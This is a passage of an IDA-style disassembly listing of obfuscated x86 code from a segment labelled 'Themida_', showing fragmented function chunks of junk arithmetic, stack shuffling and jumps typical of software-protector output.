mov ebx, [esp+0Ch+var_C]
jmp sub_56ABD0
; END OF FUNCTION CHUNK FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5726D1: ; CODE XREF: sub_564D26+B871j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+20h+var_20]
mov esp, [esp+20h+var_20]
jmp sub_569193
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5726EB: ; CODE XREF: sub_57354D+C33j
xor ebp, ebx
mov ebx, [esp+10h+var_10]
add esp, 4
jmp loc_5728F1
; END OF FUNCTION CHUNK FOR sub_57354D
; =============== S U B R O U T I N E =======================================
sub_5726FB proc near ; DATA XREF: Themida_:0055FD90o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005607AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00562784 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00566FE9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005671F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568E3F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BEB4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005724BB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057256E SIZE 0000000E BYTES
push edi
jmp loc_5671F8
sub_5726FB endp
; ---------------------------------------------------------------------------
loc_572701: ; CODE XREF: Themida_:005723ACj
mov esi, 5790801Fh
sub ebp, esi
pop esi
add ebx, ebp
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_564E57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_572725: ; CODE XREF: sub_561418+1258Cj
push 174135EBh
pop edi
sub edx, edi
mov edi, [esp+18h+var_18]
add esp, 4
add ecx, edx
pop edx
push 3DE9h
mov [esp+14h+var_14], eax
jmp loc_56936F
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_572746: ; CODE XREF: sub_572641+E04j
push 7BD2h
jmp loc_56B61F
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_572750: ; CODE XREF: sub_571F6F-10145j
inc edi
not edi
add edi, 62E85AC3h
inc edi
jmp loc_570BEC
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_57275F: ; CODE XREF: sub_564D26-2D77j
add [esp+0Ch+var_8], eax
jmp loc_56549E
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_572768: ; CODE XREF: sub_57354D-6FE7j
sub ebx, 413A1557h
shl ebx, 1
not ebx
sub ebx, 0D315987Eh
jmp loc_560703
; ---------------------------------------------------------------------------
loc_57277D: ; CODE XREF: sub_57354D-1059Fj
add esi, ecx
add esi, 6CD5132Dh
push ecx
mov ecx, 6B9519CBh
add esi, ecx
pop ecx
push [esp+4+var_4]
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_5696C6
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_57279F: ; CODE XREF: sub_575315-DA76j
add ebx, ecx
sub ebx, 59517FC3h
jmp loc_563593
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5727AC: ; CODE XREF: sub_57354D-F594j
push 225Eh
mov [esp+0Ch+var_C], ebp
push [esp+0Ch+var_8]
jmp loc_5736EC
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_5727BD: ; CODE XREF: sub_574896-6722j
mov eax, esp
jmp loc_56D5A5
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_5727C4: ; CODE XREF: sub_565B6E-306j
push 4DF61784h
pop edi
mov ecx, edi
jmp loc_56866E
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_5727D1: ; CODE XREF: sub_571C93-E71j
sub ecx, 0D056B4h
jmp loc_569EFB
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_5727DC: ; CODE XREF: sub_56241E+59F7j
add di, 99FDh
jmp loc_56EDE3
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_5727E6: ; CODE XREF: sub_561027+3415j
xor ebp, 394F2F70h
push 7212h
mov [esp+20h+var_20], edi
jmp loc_573A4F
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56925C
loc_5727F9: ; CODE XREF: sub_56925C+Fj
sub edi, 287E09D3h
pop ebp
jmp sub_560056
; END OF FUNCTION CHUNK FOR sub_56925C
; =============== S U B R O U T I N E =======================================
sub_572805 proc near ; DATA XREF: Themida_:0055FD78o
var_6 = dword ptr -6
; FUNCTION CHUNK AT 0056B0B5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005701AF SIZE 00000009 BYTES
lodsb
push bx
push 2231h
mov [esp+6+var_6], edx
mov dl, 4Bh
not dl
neg dl
or dl, 9Ah
jmp loc_5701AF
sub_572805 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_57281E: ; CODE XREF: sub_571088-10C3Fj
xor cl, 63h
jmp loc_5708A0
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_572826: ; CODE XREF: sub_565849-3D97j
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
jmp loc_56F132
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_57283A: ; CODE XREF: sub_56D69D+3Bj
mov edx, 46FA2296h
mov ebp, edx
jmp loc_563AF2
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
loc_572846: ; CODE XREF: Themida_:0056C27Ej
inc esi
push ecx
jmp loc_56FF62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56331C
loc_57284D: ; CODE XREF: sub_56331C+8EDCj
mov ecx, [esp-8+arg_4]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_560A69
; END OF FUNCTION CHUNK FOR sub_56331C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_572864: ; CODE XREF: sub_566DFE-4FC6j
push eax
jmp loc_56E7E5
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
loc_57286A: ; CODE XREF: Themida_:00562C1Aj
sub esp, 4
mov [esp], esi
mov esi, 4
jmp loc_56F25B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_57287D: ; CODE XREF: sub_56FA15-9721j
sub al, 4Ah
sub al, ch
add al, 4Ah
add al, 0E3h
pop ecx
jmp loc_56B2C4
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_57288B: ; CODE XREF: sub_563BCC+8484j
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
mov esp, [esp+0]
push 3873h
jmp loc_56A027
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_5728A1: ; CODE XREF: sub_572DD7-C2B6j
pop esi
xor edi, [esp+0]
jmp loc_57339B
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_5728AA: ; CODE XREF: sub_56B06D-41E8j
push 0E58h
mov [esp+1Ch+var_1C], esp
add [esp+1Ch+var_1C], 4
pop [esp+1Ch+var_1C]
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
jmp loc_57039C
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_5728D0: ; CODE XREF: sub_5713A7-BEEEj
sub edx, eax
sub edx, 59496BD2h
pop eax
jmp loc_566C09
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_5728DE: ; CODE XREF: sub_56E126-B25j
pop esi
or esi, 2BE8638Ah
push ebx
push 0F829C4h
pop ebx
jmp loc_5677B7
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5728F1: ; CODE XREF: sub_57354D-E57j
sub esi, 22CE2C9Bh
add esi, ebp
add esi, 22CE2C9Bh
pop ebp
xor esi, [esp+8+var_8]
xor [esp+8+var_8], esi
xor esi, [esp+8+var_8]
pop esp
jmp loc_567E2A
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
loc_57290F: ; CODE XREF: Themida_:00569827j
push edx
jmp loc_56318D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_572915: ; CODE XREF: sub_561541+1B28j
push edx
mov edx, 660D7D8Ch
shr edx, 1
push ebx
mov ebx, 4B19791Bh
push edx
mov edx, 0FFFFFFFFh
add ebx, edx
jmp loc_568063
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_572930: ; CODE XREF: sub_56EE9F+628Ej
sub ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], esi
mov esi, 0BAC647h
jmp loc_562381
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D93
loc_572944: ; CODE XREF: sub_568D93-5D49j
mov ecx, ebx
jmp loc_564BF8
; END OF FUNCTION CHUNK FOR sub_568D93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_57294B: ; CODE XREF: sub_56FA44-4480j
add ecx, eax
pop eax
push [esp+4+var_4]
mov esi, [esp+8+var_8]
jmp loc_56FE9B
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_572959: ; CODE XREF: sub_56D359+3j
mov eax, [esp+4+var_4]
push ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
jmp loc_56DA9D
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_572970: ; CODE XREF: sub_56AEF2+1F6Dj
mov eax, [esp-18h+arg_14]
add esp, 4
sub bl, al
push eax
mov ah, 64h
sub bl, 1Dh
add bl, ah
add bl, 1Dh
jmp loc_57012F
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_572988: ; CODE XREF: sub_560056+13FA5j
xor [esp+10h+var_10], ebx
xor ebx, [esp+10h+var_10]
jmp loc_56B143
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_572993: ; CODE XREF: sub_574FC9-5A7Bj
add ebx, edx
pop edx
push edi
mov edi, 3D6E7858h
jmp loc_570209
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_5729A1: ; CODE XREF: sub_566117+3AAEj
xchg ebx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push 5E59h
mov [esp+0], esi
jmp loc_563667
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_5729B4: ; CODE XREF: sub_574304-137A8j
xchg edx, [esp+10h+var_10]
pop esp
push ebp
mov ebp, 5862093Fh
and ebp, 65FC79E0h
inc ebp
jmp loc_567A7F
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_5729CA: ; CODE XREF: sub_56638C+2FDEj
mov esp, [esp+8+var_8]
mov ax, [esp+0]
push ebx
mov ebx, esp
push edx
jmp loc_574249
; END OF FUNCTION CHUNK FOR sub_56638C
; =============== S U B R O U T I N E =======================================
sub_5729DA proc near ; DATA XREF: Themida_:0055FE7Co
push dword ptr [edx]
jmp loc_55FF9F
sub_5729DA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5729E1: ; CODE XREF: sub_57354D-509Dj
sub edi, 52944A64h
sub edi, 44635485h
pop edx
push edx
mov edx, 4
jmp loc_569F64
; END OF FUNCTION CHUNK FOR sub_57354D
; =============== S U B R O U T I N E =======================================
sub_5729F9 proc near ; DATA XREF: Themida_:0055FEF4o
var_C = dword ptr -0Ch
var_6 = dword ptr -6
; FUNCTION CHUNK AT 005608EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005634E9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056436F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056807C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056F6CD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F7D4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00574774 SIZE 0000000A BYTES
lodsb
jmp loc_56F6CD
sub_5729F9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_5729FF: ; CODE XREF: sub_572641-872Ej
xor bl, 7Fh
mov ah, bl
mov ebx, [esp+0Ch+var_C]
add esp, 4
inc ah
push edx
mov dl, 0E8h
neg dl
not dl
neg dl
xor dl, 76h
sub ah, dl
pop edx
shr ah, 1
xor ah, 12h
jmp loc_56406A
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_572A28: ; CODE XREF: sub_561027-203j
or edx, eax
shl edx, 1
push 752h
mov [esp-4+arg_0], esi
jmp loc_574593
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A423
loc_572A39: ; CODE XREF: sub_56A423+59EFj
mov edx, 44616FE2h
shr edx, 7
sub edx, 94066EF9h
jmp loc_56C769
; END OF FUNCTION CHUNK FOR sub_56A423
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_572A4C: ; CODE XREF: sub_565632+C328j
pop eax
jmp loc_5665D4
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_572A52: ; CODE XREF: sub_56A7FB+2568j
pop cx
shl ch, 8
add ch, 1Dh
mov bl, ch
pop ecx
or bl, 49h
jmp loc_57462D
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_572A65: ; CODE XREF: sub_571F6F-B358j
add bl, ah
sub bl, 4Ah
jmp loc_5725BB
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_572A6F: ; CODE XREF: sub_561418+14064j
mov eax, [esp+14h+var_14]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+18h+var_18]
jmp loc_56D8F4
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5722C8
loc_572A86: ; CODE XREF: sub_5722C8-4FB8j
add esp, 4
push ecx
jmp loc_566D02
; END OF FUNCTION CHUNK FOR sub_5722C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_572A8F: ; CODE XREF: sub_571C93-F4AEj
pop ebp
jmp loc_56AB0B
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0CB
loc_572A95: ; CODE XREF: sub_56E0CB+42C1j
xchg eax, esi
not eax
xchg eax, esi
xchg esi, ebx
jmp loc_5620BF
; END OF FUNCTION CHUNK FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_572AA0: ; CODE XREF: sub_574AF3-C9B2j
push edi
jmp loc_5635AE
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_572AA6: ; CODE XREF: sub_560CF1+937Aj
push edi
not [esp+4+var_4]
pop edi
xchg edi, ecx
xor edi, ecx
xor ecx, edi
xor edi, ecx
push 0C3Bh
mov [esp+4+var_4], eax
sub esp, 4
jmp loc_561746
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_572AC6: ; CODE XREF: sub_5605BC+12774j
pop ecx
and ebp, 67B621E7h
neg ebp
push edi
mov edi, 9849DE1Fh
xor ebp, edi
pop edi
add ebx, ebp
pop ebp
sub ebx, 4
jmp loc_564A71
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_572AE6: ; CODE XREF: sub_570CE4-6BABj
xor ecx, 0B5D4511h
add edi, ecx
mov ecx, [esp+10h+var_10]
push ecx
push esp
pop ecx
push eax
mov eax, 27E64978h
and eax, 7EC62E0h
jmp loc_573FC0
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_572B04: ; CODE XREF: sub_56DA43-5151j
add esp, 4
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
mul ecx
push 69A4h
mov [esp-8+arg_4], edx
push eax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_572B1E: ; CODE XREF: sub_56C38F+7E2j
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
add ebp, 4
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
push ebp
mov ebp, 2
add ecx, ebp
pop ebp
xor ecx, [esp+0]
jmp loc_562E7E
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_572B46: ; CODE XREF: sub_560EA2+1016Aj
add eax, ecx
mov ecx, [esp+4+var_4]
sub esp, 4
mov [esp+8+var_8], esi
push esp
pop esi
jmp loc_56BECD
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573A7F
loc_572B58: ; CODE XREF: sub_573A7F-74BBj
pop edi
jmp loc_56E4EC
; END OF FUNCTION CHUNK FOR sub_573A7F
; ---------------------------------------------------------------------------
loc_572B5E: ; CODE XREF: Themida_:00571BD3j
xor edi, ebx
pop ebx
xor eax, edi
mov edi, [esp]
push esi
push esp
mov esi, [esp]
add esp, 4
add esi, 4
jmp loc_560424
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56959A
loc_572B7C: ; CODE XREF: sub_56959A-8820j
shr eax, 3
add eax, 628D3FA0h
xor eax, 4B9545D9h
jmp loc_56AAB6
; END OF FUNCTION CHUNK FOR sub_56959A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_572B8E: ; CODE XREF: sub_56B06D+874Fj
mov ecx, [esp+1Ch+var_1C]
add esp, 4
add esp, 4
sub ebx, 379B1807h
or eax, ebx
pop ebx
or eax, 124E37F8h
shl eax, 8
push 176Ch
mov [esp+14h+var_14], edx
jmp loc_56E241
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_572BB8: ; CODE XREF: sub_5678CB-85j
mov dl, 7Ch
jmp loc_574D5D
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_572BBF: ; CODE XREF: sub_56AB5E+8EDEj
sub ecx, 3E6E0951h
sub ecx, 0FFFFFFFFh
sub ecx, 481C50F1h
sub ecx, 1
sub ecx, 7DD2B8E6h
sub edx, ecx
pop ecx
add ebp, 0F480FD3h
add ebp, edx
sub ebp, 0F480FD3h
pop edx
sub ebp, 4
xor ebp, [esp+10h+var_10]
jmp loc_566462
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_572BF7: ; CODE XREF: sub_574AF3-1153Aj
xor edi, [esp+8+var_8]
xor [esp+8+var_8], edi
xor edi, [esp+8+var_8]
pop esp
jmp loc_568B93
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ED9
loc_572C06: ; CODE XREF: sub_562ED9-285Aj
pop esp
push edx
mov edx, esp
jmp sub_56DA43
; END OF FUNCTION CHUNK FOR sub_562ED9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_572C0F: ; CODE XREF: sub_5678CB+1F97j
add esp, 4
add ch, 10h
jmp loc_56B1C8
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_572C1D: ; CODE XREF: sub_564020+A360j
add edx, 10E44F5h
not edx
add edx, 411DC520h
sub eax, edx
pop edx
jmp loc_56069B
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_572C33: ; CODE XREF: sub_561418+6949j
inc eax
and eax, 2CB65CF7h
xor eax, 6F221A4Fh
add eax, 551E5486h
sub edx, eax
pop eax
add esi, edx
pop edx
and ebx, esi
push dword ptr [esp+0]
push [esp-4+arg_0]
pop esi
push ebp
mov ebp, esp
add ebp, 4
jmp loc_562060
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_572C60: ; CODE XREF: sub_572075-6072j
mov edx, [esp+0Ch+var_C]
add esp, 4
sub esi, 39451D2Ch
push ecx
push edx
mov edx, 343B7E17h
push ebx
jmp loc_56346B
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_572C7C: ; CODE XREF: sub_566C83+A3B7j
mov edx, esp
add edx, 4
push ebp
jmp loc_566E28
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_572C8A: ; CODE XREF: sub_572DD7-116F2j
pop esp
mov [esp+4+var_4], eax
push 394Ah
mov [esp+8+var_8], ecx
push 175D44CCh
pop ecx
add ecx, 321F2E1Eh
inc ecx
shr ecx, 8
add ecx, 1FABA2A0h
mov eax, ecx
pop ecx
dec eax
jmp loc_566CD6
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_572CB5: ; CODE XREF: sub_5738F4-117DDj
inc edi
shl edi, 8
xor edi, 5A408004h
jmp loc_56F8D9
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA2B
loc_572CC4: ; CODE XREF: sub_56AA2B-FBBj
inc ecx
jmp loc_572296
; END OF FUNCTION CHUNK FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56264C
loc_572CCA: ; CODE XREF: sub_56264C+1112j
pop esp
jmp sub_56C7AA
; END OF FUNCTION CHUNK FOR sub_56264C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_572CD0: ; CODE XREF: sub_5687A3+109Dj
sub ebx, 4C9061ECh
add ebx, 58844835h
sub ebx, eax
push 7084h
mov [esp+4+var_4], eax
mov eax, 58844835h
sub ebx, eax
mov eax, [esp+4+var_4]
add esp, 4
push 5F7Bh
jmp loc_573364
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_572D00: ; CODE XREF: sub_56351E+33B5j
mov esp, [esp+0]
jmp loc_56A0B8
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B37
loc_572D08: ; CODE XREF: sub_566B37+5C9j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
jmp loc_568E99
; END OF FUNCTION CHUNK FOR sub_566B37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_572D1C: ; CODE XREF: sub_5605BC+11B9j
sub ecx, 7A3A186Fh
and ecx, 7CE95990h
xor ecx, 2CF56C99h
or ebp, ecx
jmp loc_572AC6
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_572D35: ; CODE XREF: sub_560844+10464j
push 5BF64431h
jmp loc_574039
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_572D3F: ; CODE XREF: sub_56FA44+3A10j
pop esi
jmp loc_56B5B9
; END OF FUNCTION CHUNK FOR sub_56FA44
; =============== S U B R O U T I N E =======================================
sub_572D45 proc near ; DATA XREF: Themida_:0055FD2Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 00562474 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565C59 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00566D9F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00567209 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00570250 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005705A9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573DCA SIZE 0000001F BYTES
mov ax, [esp+0]
push 0E75h
mov [esp+4+var_4], ebx
push esp
mov ebx, [esp+8+var_8]
jmp loc_565C59
sub_572D45 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_572D5A: ; CODE XREF: sub_569A75-89C6j
sub al, dh
sub al, 1Dh
mov edx, dword ptr [esp+2+var_2]
jmp loc_56C57E
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_572D66: ; CODE XREF: sub_560EA2+130AEj
add edx, 8703FADFh
jmp loc_563060
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ABD0
loc_572D71: ; CODE XREF: sub_56ABD0-6C40j
pop edi
sub ebx, 0BC50542h
add edx, 2A4C53A4h
jmp loc_57319A
; END OF FUNCTION CHUNK FOR sub_56ABD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_572D83: ; CODE XREF: sub_56B06D+5336j
mov edi, 4
sub [esp+18h+var_14], 1F50717Bh
push ebp
mov ebp, 7FD92608h
add [esp+1Ch+var_14], ebp
pop ebp
add [esp+18h+var_14], edi
jmp loc_568F46
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_572DA4: ; CODE XREF: sub_56D69D-6248j
push edx
mov edx, 1
sub esi, edx
jmp loc_565626
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_572DB1: ; CODE XREF: sub_5753A5-B187j
sub edi, 6C4D29D5h
shl edi, 8
shl edi, 5
add edi, 469FCF06h
add esi, edi
pop edi
pop edx
xor eax, esi
mov esi, [esp+0Ch+var_C]
add esp, 4
jmp loc_563C60
; END OF FUNCTION CHUNK FOR sub_5753A5
; =============== S U B R O U T I N E =======================================
sub_572DD7 proc near ; DATA XREF: Themida_:0055FD88o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005616DC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561C2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005648CC SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00565797 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00565F98 SIZE 00000033 BYTES
